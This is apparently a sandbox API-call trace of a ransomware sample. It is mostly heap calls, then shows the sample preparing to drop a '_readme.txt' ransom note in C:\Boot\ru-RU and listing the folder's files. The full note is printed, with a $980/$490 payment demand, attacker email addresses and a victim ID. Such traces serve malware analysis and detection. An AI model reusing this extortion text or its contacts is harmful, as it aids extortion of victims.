HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.583] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.583] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.584] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.584] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.585] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.585] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.586] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.586] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.586] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.586] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.586] PathFindFileNameW (pszPath="") returned="" [0111.586] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.586] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.587] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.587] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.587] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.587] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.587] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.587] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.587] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0111.587] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.587] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.587] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0111.588] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.588] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.588] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.588] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.588] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.588] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.588] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.588] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.588] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.588] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.589] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.589] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.589] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.589] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.589] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.589] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.589] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.589] RtlAllocateHeap 